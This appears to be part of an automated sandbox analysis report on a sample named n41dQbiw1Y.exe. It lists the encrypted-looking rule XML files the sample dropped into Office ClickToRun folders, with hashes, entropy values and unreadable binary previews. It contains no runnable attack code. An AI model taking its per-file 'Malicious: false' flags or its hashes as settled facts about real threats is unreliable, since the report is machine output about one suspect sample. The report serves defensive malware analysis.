Preview:	.<?>.U.p0..L..W.u9h+...k...+%.;-..y....%.;.-.T...~..}+M..p6.~.I,..%p.....X.x...a...5_.44.!$g...-nq.[2....U..}...q..5.@.~...........^.q7@.,..\|........L.`Vc...-.A./.;...H../.\|.....7>.k4...gS.....5M.../.(.T2..x.....:UD......M.y.511,..&.?OE.....!.......A...9...Y..F..U..Cw.....&".......h.........T../(^..4....... i/..d...V..w...5.y.14?.k..N....v%.....-u...4.du.R....E.f&S.kC U.Z..S.k.;C..-....:VU..(..{.c.`......nc...A....t..[.J..<...0go.5..h....eb.Hc..N.#.+..Xp<...R.L88.}....].?..r...M.w.n..bS_....N.1..)..'~.w=.R.G\|..V.qK...8..>.Dh;+......>.M.{.'..x_...r......{.Q.S...v..q.Y.x.Mi.h...p!@/....V8.._.oY,...l...~..ud.....\|q=....=1.E..!...7{w.dKH.f...b.T$.......< }.....y...j.XR./...H..M3.?k..oEB.h#.-.t."....h.>...j.g..c..]...........A;.. .u...A...&6.....Zc......i.1[.k@...$`...".......<*4{.>......!.(cb.m...B..1.......G[.Y@..K.[O5.rL!}R.....~k.vI9..Q.'..3.7.......".^..V&........M.ohWk\|.........X....#....yg@{.]Nt..1R>..g..\.S.j)N .P..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702751v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1737
Entropy (8bit):	7.863600640204273
Encrypted:	false
SSDEEP:	48:b2GdaFF/3PXaxhThIHA2QNMSCGE/pYLHFciQD10SDyvsD:iaK/3fuN6gfCSXE/p+QD10+B
MD5:	1C10AFAA54A4588084EDC5B4F1CDB155
SHA1:	B1B35DE10A6FE6B938A1F4A6B6CAE1CE4AC89589
SHA-256:	1A3536D3C4E7230A4DD889D60372D719A0CD6CDA7B63F852AF8AF3DCC3289283
SHA-512:	A8AF3980B925709EBDB4C134CB9DBD642A4A1B0B4A0F4AABF3E32C0E7601BE503A5FD5ABDB7254C946AB07B90ACB70FFB0A2B2F561440B71BE945E4FDB29D930
Malicious:	false
Preview:	.<?j......K.e=...-.. gvi.\|,.?..`.K-[..A...4:.5M.Cy]....Gl.\M...Q0..lH....T..5p.....;............$.h..t.x...........T3$P.Z.#.lE.....]....d..o....vV.{-..<oA.)..=...j..{..L.$?.piwY....}.;.#....9..b...<..9I. `2p.N.....X&ln...1i\.@?..Z...K.:.l.S..\...@..../.0... ..........'P.......-.."~.;.M.X!..Bp?......q..g".C.]..Xf.-....6:X.X...q.q-...`....}.:9..~....H~1.F.#.;...^.$yI..+!x.Ag...o.~{....V..y.7...<P4.n...... =-1......./h]....3z.c.......j..#BWf.i......X.;b..>9....f.F..t]..;D..../e.G.3.5.z.4.c..........f..<............}..h .uy.6.O.#$.,U.IK,.T.3.L.............~........A...yf..yl._..p.#C60..{..5"....z.'+.mIG..6.....8}C.H.t..d$...~J..15.XF..Uj....L....lG..W0d.....2.!f7.{j)>..5........g4......;..t...9>...G<.\|...]t.L....[\|..5..p(.....U&..L..;.+.]..b..+1...!..6..C.....t........f..$......+ t.......5...U.SF.L).....7..yg...5o.....\..v..lS$q....Y...w..>nB\|.;].3..L..&..f.r...z....<7D..8...u.+...g........+;R^.z...4a..-x{.n...k..d.. ...l

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702800v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1688
Entropy (8bit):	7.878527322165163
Encrypted:	false
SSDEEP:	48:smP2XJC2YFdFpscWiQzhvGQxXow/9KYLyWZTexfZ9vtwEnv+GnqID:125CHFdF1W/tvJXoKkPeTexPv5+yqU
MD5:	62755268F7450E5C0C435EB312D9BC71
SHA1:	5EFF4DAB606596231AA901140505FA4C56FE2F8F
SHA-256:	BCD5CDB57ED0ACBC6F8F2FC2D9F973C6B92C6DB1E96CAC4BB41AA2591D23D193
SHA-512:	F7127E22E78656C882BC089D1F9C669127E99E159434F1510F803F739D468DE5336075A87B9E84120A94307D09E85A9F1F5B8114A4C1914C08B62BCEF48065BF
Malicious:	false
Preview:	.<?w.e.F.../c...)......f.{.O.Tf.[.J....i....m.;f..w<....j..... ".........q...6@~...!....;,..=........C.).Vu.')....k...._....U..3.S.GRUX.R.%..82..&.3?....L.....H.._.`t.M.0.._...a>".I...M`..0.%.w+G...:L3.U...Z.ZM.N4...Js]D.t..c.y.7%T..!..6......>Om.P.Vz.@........^..s.....lm..0...n."............m.....#..V6S..a&A...3....N.E...fU...,=s..@.6.3..?4..;........].~;....6.m/........"t....2.P.#7....a..~..+dy.8<.nzBz`.....K.e.......g.:Y.j.L.A..=Rd.C..G...y......w.",....W..^.o....D....KB...-y..io&.}.'v.....HV<...9d...)...ZC.K....`.h[..Z?.@..+.....<2].E.tC.t....#...VZ... ..(....TX.a.o&........EE'.. .Q+....f@......J...~!.0.......>C..n.'..W:y!\|.3....1_..Lo......?..}X\|......`.U....[.>...h.Y.(...2..+.8...a...wM....Ul.....b.i.}#J....'s.. .r".(.^.c1........+.gZx.b...}..E.)...o.=.H.....9.s5.....,B......m3.+.^`.3V._.-}j.....A..D;...\.%r.......2...Z.......=..:H.9.....d..u.H....W...k..4......S\F...Bh;'....A..5.>..!.w......hY..+.x..0.[....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702801v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1725
Entropy (8bit):	7.8707757353864
Encrypted:	false
SSDEEP:	48:DMVnSdpAEwdXxiNEqIeOOzRExczmMo7mdltD:UEwTiNEqIeOOD8Ev
MD5:	DA0135358DDE6698B35B6752ED878521
SHA1:	D5685322A39A34F46CF92317C521424955553A8A
SHA-256:	FBF987CE85776D821F14B1DD47D7B526CAD6462A7896A94B2C5D7F9A5DF13C00
SHA-512:	B7462DA3254CE7B199AD1CACC294D096A8486C23213FF3CF25C496B6397B1E1B624AD4398A130F6C71B1F007CD5C776E8D7433175006378B71C0FDBA57B17A15
Malicious:	false
Preview:	.<?..f%.3.%..H.+.6o..rKt8....x<..O..1\O..>....;/x.\|7.e.!.8Q\|...j...f.<O....0..~]j6..w.....X..f..+(S...........{.1.F...}...q...]G9[..^.aM.j...@..M)..n.2^.._s...(...w...j.X....$x..:.Q@FK..r...;. .......U.....A.w.?$f..T3.....@.....j....2...=...l..s.w~.......8h..IPAI_X...;..O..G.W.f.V..XK,f..9.N.......]..TZ.6.H.6...............]]....M.\|.......X+..s.W...C.Y ...H..E.[.+....P.{..1w.N.;.R=..........A...#........1:..oj.!X2....0.9qS6..%.B......a.K....UV._.......H%.>#..m}/.IF..J."..6.f..H&.$.5.D..h`..a.\...S....tX.\|..}9.\|..%9....\.....T.(>+t.d.........c.K.Y.C+.e......."..#~I......Ez..b-.iM&.O.....&..D.....O.8.K.Y.%...`..8.b2..^.<4b.s.U..1.....\.g}69f.."M.8[.I..l.\.......ga.\o..O...8B.X.....E.....=FUY.........T5..h.?X.....{..4.t].OAD6xG.......n\x......f..d.W..M.sIC......Xnk^Y..@.........Ny..Q..>A.w....-.....K...O...f.u._!..gr$[%.1R....Uq..%}..'.....J..r...R..N..F....Q..../F..9c..7~..S..\..W..M%}.&.x..k...O....&.P....n.f.y..O..h.8.W

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702850v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1702
Entropy (8bit):	7.872828736277832
Encrypted:	false
SSDEEP:	48:1hF8fKpQOGr/039SItIgJPQYkB7iQvU+D:j8KIgSIhNkdUG
MD5:	0CAAAC10580A95233F79653199FA6780
SHA1:	06F6600A6B6D5820F5F86E74499E6479675BC636
SHA-256:	5572CB59F4E4D62B2E27307D74456FA957C7CBCC5A2E7E69C577BB4CCE9892E1
SHA-512:	AA5F6072AF2E2220D44DEB29CC68602C90B6F8455A1E9BC5E354A712A9B1985791BAF76CBAC58FDAE788261D92F01D407EA881649743D78A3C2FB7F56DCDD420
Malicious:	false
Preview:	.<?.y..o..FD.... ...4..\|....^w..L..\|..U..P.........l...+...j......):k....`.&.......,..L.....:...N....\.u.vJ.e.:h:_C>.;~.G...P.!...>.......V...=!.e...4"fdR..\...f.......rq...]....B..........T..;...pU.g.....a...).%.H...yU.....&lK..1.BN.....eS..<...^;..;........c....P]X^+.1...Q.Z.....5.p4....T...A..u?.)H.4/..27..3.....o...B8...(...'./Qn95..3..yx.1....;z..gt.Q...,$.>.t.4..".{>..C#.40+Tj.b=.A.....~7........N.........yF.NH.b.\|{h..b7q..D_..\......-.l...(Q.".Ek...eG.Q...K..y.).:9Z0f?..%.3..M.{jB.H}+S4.....N.Ia.H!........<p4...>..X....<..D...l....K-.b~.w...)!......R.N....a..h.....H..<..! .....eq...!F....l....s6`..t.O.....2......_.B....#.O.q.q9/B.B.N.[\6t.....].W.}...b......C..dA....i.)...#.o..w.~{..._...h..p.a..Y!]..:.B..dF#/4S.oiX...u=J;cb..@...Q!#.l..k7..v.&....9.^...m.,.!..M..FD...Smk.....H6......r_...C....KF.....k.G.{).....E......LH....w...N[V.......E.d.z.ZD#......].P..Z).x.........8:.d.$.)".cE7.,6p.bnI..?.^.2&..J...*.Jkb.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702851v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1739
Entropy (8bit):	7.886920312017236
Encrypted:	false
SSDEEP:	48:4AgIT2aAgOT6VZvcoQl709y2j2D/mi7+F7YGFkYQ3uL+ZKD:4AgIb/EmHQl70fj2edFkYHLb
MD5:	5639D767D58FFD9D130406F820927B8B
SHA1:	E8F616236C911B3B103E912FC2CFFDC37C15E71A
SHA-256:	DC23D84D2881EE87268F1D0ED97FBE82F4B6FF35120F208D2D4235D19A9C9888
SHA-512:	B610A5C2C2F15169BD5B98962E2FFD6065AB804AE043FEFC8D495E8208ED6A12684E90EF0E16C1558B1E1EABF5FAF887C2F77FDB5D645803FFDDEF49FA920695
Malicious:	false
Preview:	.<?.).F..W$u.b-...5...1.`K-x.......[...1.=.wE.(I..+..-.]j.\|.....2....==_....6.KCp....Ve...y..#^G".s..5]&u..E.R.{+.K..B_Tt.k..-....Q.~......f.u..'`.:J..p......}kM.27..f.e.$.]e...[.#@.;.\|.5v.<y?9....(.Z>.m"..g...2r:QPR.G....l..P..=..K...f....>5?.d.\|"..._..J..8]."..R}.(E.S^w:..v..-.!.@..k..E.#...6..6.`T.>........Y...................y..<u..........Vz..Z....KW4.`.P.,x.}6...#...... o.......mD(\|.1.C.:.\._.B.p...<.....y<.......KP5.. L.Z..O-...?C.W-e.9..I...a}1.+Y..{*..M....K..An.9.@i.P...d...%f0.VL.\|..y.hr.]]i.1...4.2.$.....x.f....:..Qt.8`!P@:..........9+St.7.BGO2F..8..%t..[+V...;../'..S<.0.-.y/..I...FsZ.X.DmM....a......>.&....~N..s+.......0C..]....G......I.k.%.r.N.T..K.....lCN.j.<...E.\h......~{.4..7.k....%i.A8;.%.1O[......F..;S...n.6..8...L.....b....P.(.d.u.9.^....u....Gw#...l.^..ahm%.....\...\|X...ZtG.............`~.k.^.r...T=\|5.....u...'....._.....q...[....?\|}.o.......T).f.o.f..M...R.Mh...Vk.xK...n...E...a...U....m...E.dX...."s2&`.mO.....t.}...E

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702900v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1708
Entropy (8bit):	7.879318909693581
Encrypted:	false
SSDEEP:	48:5iJj8DRDvc1n9PcgoqOP9J/npaf5OonnsTJ9eD:5iVuvcZ9PcgFSTp65lsq
MD5:	41E8E3B1752B837139774E524D4F4E23
SHA1:	CD4F97F2C2A0F446906362D1AEFE006F07620B06
SHA-256:	FDD19726EF39A776069386B15E030E55282D3E79646D6A09EC8FF74C9A0E03AB
SHA-512:	2B3724E24D373240773E549611F0BE3A9371B109295647ACB518E706446FAEDC3C583CCEF781CA4662EDE0696C89DA405F67CE4B730581085CC1F324C7EF47DE
Malicious:	false
Preview:	.<?kp....&..2.WRL.4..nS.wlm...5\.)2...Jh..9....LB..[.i..3<....d.o...E.,.......l9v.`.v2.vM'.B....P..#n~....>U..1."D..\|....\|.y...e0)....(..dv..._. ....#.4.iJ.... q...L<..?..if.N`..W....^....[1....8.t...Y..........V.Zj90.U..dYY.N....g.J..KF.Y..q...$...C3....1nf.e.<._t.......(k.?W..,^.r..F..)..P...sBm.(C.m.....H;........Z~....#!.._2..]<ts g.......MC@.'b.T>Y...ls`=....C.....].u... .......3...s.RBD...._....wj.">....>...r#..+....yhM.H..O<k......`.i.$...F=..N..?...7K..=E@....8.A4~..Q...>..o@.....g.-d.K....A(.. M0~.........Hb.@......h.....7........M..G...[....k...}D'..D.>h.Xo..``,...I..@bF...i.g.j.........f..c..u.T......."..o...:..+C.a.c.....'..cc6.cW.h.......a....&O....\u..qv....Q........:.f...q.'.....E.....$n;..%m..<....M.+.T'%...ZP.q.V....-.......N..i..ig..M-.s..w.Z#nXRL.....M...jD..v..G...Y8^.<0...ew....o.S.v..d..h{Y0p...b....;Y.w.....e....P....O:....\|..\A,vh....1..&.._l...7_....5.b. ....o..k.)._..j.d..).\|.Dhb.4K...{.>..5{.5c'......)

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702901v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1745
Entropy (8bit):	7.88601528593333
Encrypted:	false
SSDEEP:	48:Du83Ktb5jSvCwFtTvll2M5PBbgip/OdCD:ys24qstRl11kK
MD5:	389AE5AC1565051839AA31F0F1596B17
SHA1:	F78D390493CFAD83B879521BD4E748C8375CA1B4
SHA-256:	215949BE33A08CD5112C58F9D57245BDD42F8C9B28E1749C52C0ED11A41A2D39
SHA-512:	2F5C4C07A45AB827F2A3DA0BE8777FD0D8FC85FA6A242D14DC68C3A65B7B044476010C868167AC6CF2A58FA4200E6210431A43D3DF853881735411FA187AC878
Malicious:	false
Preview:	.<?....S...4...Xe...V0d....[V._..>...#m...h=d!"..qv..dc.....E)Q..gh...Z.......T....!.-..o,F..p.u'S.....Ye....s......%).?,hp......S..Fy.....o;X..4.7V..G..H......kw.]d.%PoEw...MV........G.\qy..,.Z..R..8.Q..S....g}0.[..a..p....l,.3JF....Z0...C5..g2......},.RQO.....;~...yz7-a.]T..1.%.UJ........?g...U.g..x.'.q....Q.......)c.@.<...iy...k..=Z....&..L2..0..RMx.='j...L.......U.N.B.>q.<..j.V.S.p..URLe[.A..r.?....@.>..8......_.."...q.-.Da}..{N.R...Q.-n{]s.(..n9.2n+K~DFN^.q("..y__D.....E..c#VT.f,.......f..Pj.&YF....wo...........%.......y..........l..6..g..{.."s...fa. ...O..)].^.+~.......w..8.#Q4...Xr.......o*...>8+c..u.isA.......X/"}...g.Q.\|.......8...j@,.....Y.n..#.=..=.Cw.B..1.WMZ\|...4.....1.k0.Zb.........k.:A9..:{...&...p..vY.).].r.x .V.d.6..d......DD...Y.t..VL.....L..... ...9...E{..).3t.?C..b....P.........md...u.....a...6+.x;..TH..3.......X..13t:..v.mzx...U.VN.J..A..L.:\E...o.Y...@W.\......2..h..'s..A.w.......m....c[...gK......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702950v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1702
Entropy (8bit):	7.865585248255668
Encrypted:	false
SSDEEP:	48:zsQlHqqc3FOmGkdmzBt8OVpLmttsyjg5D:zs6fc3Fxnczf8EFwWykx
MD5:	F4A010072BBB0BE884ABD269A64FF155
SHA1:	90CF0AE43413F86547C84394EAEBAE67C506C459
SHA-256:	097BBA42B43F6155F9FC4AC78FCDD1EB6EDB0F361127484BB0DA5F5A92E4BDF3
SHA-512:	0E5BD34EAFAC24BCF854A5655DD67BA9AA38715FDDA56DEB5F7731E203A365CE03712C2D4ECF051802FB7E72D20018AF60E2952B1CE877B958B84DC43AA3037D
Malicious:	false
Preview:	.<?..<$.d...... V...T..>.... @......I.....h1K....3Y.Y....2A.9.h....r..p.B.?p....&.+...w./..:DX.O.R3.....U...$t..E....t.c........?FU..Eo.Q....z.",K..W.k.P.T..1<t4.2..C!..j.u..=.F.B.V).l....}....F.:..',....$.5..ZB...K..GI;...6.#.gu6(.0.."...KO.......W09LxU...2Vpwi... MX.z.8....".....Z.W...b.._+.g.cj.p.,...G..W...![6.....l"B.........8F.....F,\.Ik.H..f.7.h7...u.l.7.iy........O....M,..%.Z..G..!.l_...:8}QP.\%s.."m^'....q...xf...u.]j.V.Y..Fv.r!~.r.89.}...]1]...C7.!.....X`..v.w.:..%s.....}..lc....e.."...y..2.-.{.3+V..!{......Y9..nsU...F..~..;..."$.?..J...R..U5c?.oF9"...G..........z..'..f.@.^..a.^.M.t..}..I..6....@.z>..=..'.(.'..tx...j...=.....s.....(.2.VM6J.......R.6e..i...p.f..x....g.n@5......F..s..$%@.........!.p..~....B.. .. .Q~.f..k.".J....h.'..5>..$.qq8......w@....o<...z...9.($.._.b.....Ut...^.rW..._(..#...k...Q.I.Ij.5v....-.(pu./L.7[)i./0.>y.V.....V.M.m5....]Nl...........o.:...".c..z..s..j.m..u.8y...j.G...Ae$.d.p...(.5.Cs..`..s.\|.!I

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702951v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1739
Entropy (8bit):	7.872868816135414
Encrypted:	false
SSDEEP:	48:9GkM6ueOyknR9DxAuGt9pZHOa4PdlEPMqKKD:lM7ukR9DxAh4PdlEPr/
MD5:	3CA6421DF53635F5FC69ACED053D16CC
SHA1:	273112787F8049882ABC6D63FB25B3F8C6B88730
SHA-256:	783779DC7AADC1C5E94E0118DF2B3919D6B9A71FD86A8EABB2A16B3AA7B1C23B
SHA-512:	AAD242EEBC6848441B76569F156BFFC4016BCAC3833200CDD2623D88AED5C6931AE4FB2D3BEE7A53DD6B9D9558CD5EC8EC7FA71A72618344C00A5DD53684BA36
Malicious:	false
Preview:	.<?.R...,...{\|........P.h.v.....\|.......$....a..\|...T.@.Ml3...7.$..}..O.s.BD......U2I..n..mk...rG.]\|... ..QO....V.......w.w.N.Jp.u.." ......&TK...<..vejQQ)DJ~..\|~..#r ....y[..u....8Y....1.5.,....x.s/...#....v.7..9.?,#....}...J.8..e..m..$E.&J.v}k.....IV.y......_.F..W.y.=.....DX..VK=..]....d)....D..&}38..,..M...w.....8.K..}.k.K......Zk..];....<.......kZ3....r.h.xZ#i..."WU.Y...h.@Azw.....u41...3....L....Z....%.........h_50...R.z.V..h${...Z.XK.=.....9...K./.I.v7=x..:.....H.4..B..v.d...!.<,t[7........+...8.m...M..[..].3Z.B...807~...].........^..."m...j.C..$.Zu..........X..\......~!.......i.:.C.....{R..g:K...35..a..(..2(..@...RSc. t..uD.A..^T\|..5.GM.a..i...T.A=.~]..@..c.:....s.&.Xd.Q......].....d..iP...s.v..5..Hbv....q,3.2..]...ap.(.).....M....E4D\;...\c.%kN.DC..7....`..ca.......n].hT;..I..xN........nx.oP...v~e.V..>......T..z.......w.F4.O......=..'..+.5.9,..!....p!u......qQ.Q$....>..j*7....f9J8...s.S~....m...4.g..Y...;vr.....M.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703000v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1703
Entropy (8bit):	7.891481400511745
Encrypted:	false
SSDEEP:	48:LqCctymLa899uGZVmL16rYfYRw3Yh57ZCtuycD:LqCmy0a89udJ6JCyNZyY
MD5:	972A4002406E4A228799BFE81A9E4653
SHA1:	E9389F5F55395FB429F3EB60F084A51504972F58
SHA-256:	63AF4D31F8895DDEEDB6797A5A71BF68F10783155E4890E06F39C64FB09CD5D5
SHA-512:	5B3942E757F25C1BC7DEDAE4543EE9F71FD90AF71FC0F63C6236DFFCC95E7806864E8FF74C476C023D1CE486694A33FB083F9CE6107AD0DB6B8C00AF69443D34
Malicious:	false
Preview:	.<?v.^..8a0....&.U....'......5.)..'..T~....N..l........K`.....9:.Y...H{2.\...0.....L...d..Up...z...A.......ax.e..HQ...v@..I2..[..9e.Q....p...]d.....fi..t.5.G.'...Mc..A...7W.5...;.k..f.s....f....=a,N.....uB-w2q..T..n.-'?.dl)j..n.6......Q.\..`..ow.<...S@..gEw.[ui.+W..4..m.....k..`..XnY.....Z.....`D..].W..Nc.B:...R..Y..i....H.@s.e..a+.7.a....k%..~..V...\..7;...{.dq.,J.eG..l.H.".Z.R..\|...)....Q.S..98.....8.%.......xG......WE"HU.;...q...G...'.g!k.........v.\|............aNWR.G.E..z.....p.M.tf.rm..%.Z.n.=...A..12...w%...)..#.+.........E..xUG..'PR5..........r..=.Z../......&.8..s.. 2....k...A<..l.w..<&2.B..MM)..z...63D...........b)?....v......gS.Rg.Bg..J..r{I.o.Z....6..+.0.4.....N{Q.ju....}.Q.V^D..C]..e.W^Y....W.Oe...]P.(BJ%('l9..OG....7a..%....O.>..{.....ns..PE..\.\|..f..T.{Z>...&..9.{}..{C/z...]m..........\[.....8GG..9..xMM.}].4D....5..<N.I.r3..n...g...I...S.s,{o..c....,..T..E....E.....y..bV..\V.......[..a..]..S0...\.....^....5-..uI...z.<..a

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703001v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1740
Entropy (8bit):	7.880234839712787
Encrypted:	false
SSDEEP:	48:WfNNvAvqAewJrBjUnJmofHNL2BycV731bbWRxaYPl+D:eNNv2ekBjUnAofHpGPlHWRNlG
MD5:	713F8CCEF750B88341E89F8CF5F30061
SHA1:	3C611E77E339FDC911B3B4585FFB2FA1616C6BED
SHA-256:	DBCFFAFAEFD3B4B35B438F914165DF354857CD6F398005205DE827F935B8CE9B
SHA-512:	73D5663C395D71CEC18F49E6F486757C0C1117FE3D10CCC163F8A13ACB012F095CB9007F1A7608E8F22EAEE348069B104394FEDE81F1CD81A225AA4F9260E4A8
Malicious:	false
Preview:	.<?x....^....?..........o.....D...l..g@#.8r.E%g.H......}.O.o.i:....?.L)^..%....).e..)Z..z...I#..k`r$'.4>..z.......(......FAb..G..O;L..T.7q......n.S@....f.........i..2.=`..H..E.h.@zz.cG....C.....o..S.;}4.D.'l..{.M.Gj.$!.-fd;OK..H...9..KD.......5@.7.r.}...R.-&.tV.MU@a.....\|w..._..kb~..a[h...GK..~..a.._.)."f.6 .~r...%L1#6.:.of.0.>...:\...k.S.y.5.W.6.....-+$._.....J.b-q..I..!ST...X......K.9a..pM8..;..{".....k.Q...........)...%.............J6(.....h.9.S.W{.%11*.......#-e;M2..q~V..lEm4?U?..c.2N&..,..>....f.`..cd>Gx.U..oY...U.G8Y..m..DC4k.M..s.....\.....t.......!....""(.p..:..[Z.\a....e.Gjo.....B,H.p....h.&.!t...J3.[).-...j/!..#......L..FF.K..:.h.'c.......8q..z.....v1..4....]....Z&..[..ue..d.j}..3{.......a..._..[-{0.....d.c).U.....W2G..J+.2.....U...$..:#....lO.s.....f.8_N...T.d..'...4.=.G.......d;..O.vs..."N..Yf.......w.)U..b\...D..8...g...u.......;.r+ME.Fp.Pk.e..d..$.....hA...N..({H,O;..q8.G-.S.....Y.[.&...^5(w..Q...S.RX.......s..5..<..t.V}..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703050v3.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1725
Entropy (8bit):	7.88107876141038
Encrypted:	false
SSDEEP:	48:PcA68e14RGMQ6ZolWAqzdLgLGVFymqUt1JHNUniBeXuMcAD:UA6ropZolTwdD6UvJlouM7
MD5:	55E37364E702C0A26A12D57308AB01C1
SHA1:	2CFDD5DDDF05A0129029B4A29D9C390504AFF0C8
SHA-256:	5502796714AB71AD9AE967E6C34A04B37A28D178868F1B89257109794F620234
SHA-512:	AB1F70B905837E00F091BB7CE0B09BF66637E4989649EA0C563FD5F55CED2210DE89EAD7EB8466EBCAC7533E52BB066FEF8C4123AB56885A0E457E11787CB10F
Malicious:	false
Preview:	.<?..qFD..m.+ZZ...~.A........Z9Q......3`.`..y. ..DX.L.M..S.qn5(.f.s..!.....Y!t]`..:".7i`.cTx...o.RA.)...2`.W..L9.....;...D....M.:(...;.@N..\|)G._>...i.....7.Z.q........?...D..1../.F1On.0. ...[J.c..G....i...\|......."....^.p4..k..k..t..,...0.c....}..p.u2..YI..?..E.E.. ..r.N..E.T...u.,w.V.!..`.../go.V..@.p...)3.6.p...uF...jXc).....o"].=......#.Zw.".L[.b....d..i;&g.[.1.Q?....]...+su.Z..s..$q`+....OT...EY...e..\|.$+...";.j.ZxB..?]%.........1.m....].).....W..U....o\y..Sm#.o........zZ..T.9`\|...a{..:..4.)nD.CeU...Xc.L...`A/Z...M...BG..x.J....].h.bp!&.a...(.~.... .q...._jy!.......~........;.....z............Re..\|.Xl..H.@z./_.f..i.n..[...3....@.q...V.=.<....bs..W1.b.....1..,..@..KG.V>.L..^..%.i.zu.. .......=...k.3e...?..{Q.c...\|.......%......c...;...G..k...b..8..J.~.$~oO.A$.(..(@u..d...:-..:.#8..OD8......L.0w.RBr.....S_.'....,.A_jj...=.--.:..J.h.vb.0..q......'...u1....3.......\}f..N.....%d..hB.e.[.L^...6....:....{kc.....#....-!...+...S7..c.!L

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703051v3.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1762
Entropy (8bit):	7.882668897462478
Encrypted:	false
SSDEEP:	24:akRClW9NtF0e9BogoXLn19ybmSlHRaX3PDyVXpN7nxbApn9BE+Z93BbYpITbmmBN:akFb19+gCD3mO3uVZ69tZrVb1D
MD5:	752B37D2D307C616334C9906739B3AA5
SHA1:	8F280BE761DF8C775760B895EC4D4C697A78792F
SHA-256:	A89EA2766558A441E4843FAD24C9ADD28B1393C4F6DD7EE5D663AE61F9B81659
SHA-512:	3E3F8480B8C6CD29F61AF756C79F8ECC33AF7AE20F0DC872472FEDE6D07D0D6FBDBDE9D1D5931EEED2C611FDE0F0B0D6AB76839FF5A857ABAFE3739CF361D1C2
Malicious:	false
Preview:	.<?...B.?GT.%F).Y.B..[cVFT...My.zK.......,...\|...Z?..s.v.4.DF.A.7.....3.%W.m.Z.hJ.0,}b...+.....0....^c.'..#BZHX......:..H`.g...Qge.u..1w<..2..,.l..M2.+`.rl.d.G.4..VF....5&....hd3...8..2..FS.w.?T}.O\|u.@nH.Cs.#bHI.b..s.',ij.E@Krm....i.......e\|\|'.b}.......\|.aD...W.\...2>.="e..za....B.......z.UM.&..$$sf9.....75..._...T.#]].ik...u...c.Gs...?n.....(~pX...u;.%....X.`:.J?...S.. l.].Z\..a..U.4]../..B<..^.a..t0...f.-.....g.J.OMh22.U....OV.U...t..].....a..H....~._..p....v.P.A..i#...,.B..,Mf..m\.#.p..OE..../>~V.....if..+.~&TT.8-I......{.mI...`...DY".C....>..U.Q....t...BO.%F..T.%.N.........2.6Zz':SH.Y..UL...2\|e;.0.[.5....r....`..{.ch...oF.....,...*.O..-.......P.H..{O.k..sR.....x2.s...M.]....gl"K...<w...S&~...X....i..rP....HO,.&....(YWn.rkI....(.tr.....Z@.k.6.`._.@%...pj..UM}....\|]..j..-.......}t..u..?[.XF.s'.\|.MK1..W.a!.<w...1.d........BDm..4.. ...E...)]..........:.....u....y..^..:xZ....j.01a..t.d..S..."..>...f(.H.Wz.......m...yb....g%.<.x1.H1.<..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703100v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1690
Entropy (8bit):	7.881215833488629
Encrypted:	false
SSDEEP:	24:MFRHrdLtNQGiFDou27NP6rCGRBBwiSg5kFXAo/TDNuJ5d6goagDi4QnTwCq6ebC4:wrX9Fdc5kF3wzddn4LCe/COuJb1KoCD
MD5:	D26390711C66AE25C613D0F8718662B5
SHA1:	72EFDFE8F8F0BCA049588FE508B5166DE9A627EE
SHA-256:	73630494F223238530EB1E4E5ECBA53EAF6B95785DC2553126D8295A964A2959
SHA-512:	4418F252EC8181D66EF96A6C677B3E85ED573A4883AE2B0B2EC23F5C3A0CE98B1305D029644EFD31055CD9EDA11C702BE8BA2492A0DFA6018BA6DE12A093A7DE
Malicious:	false
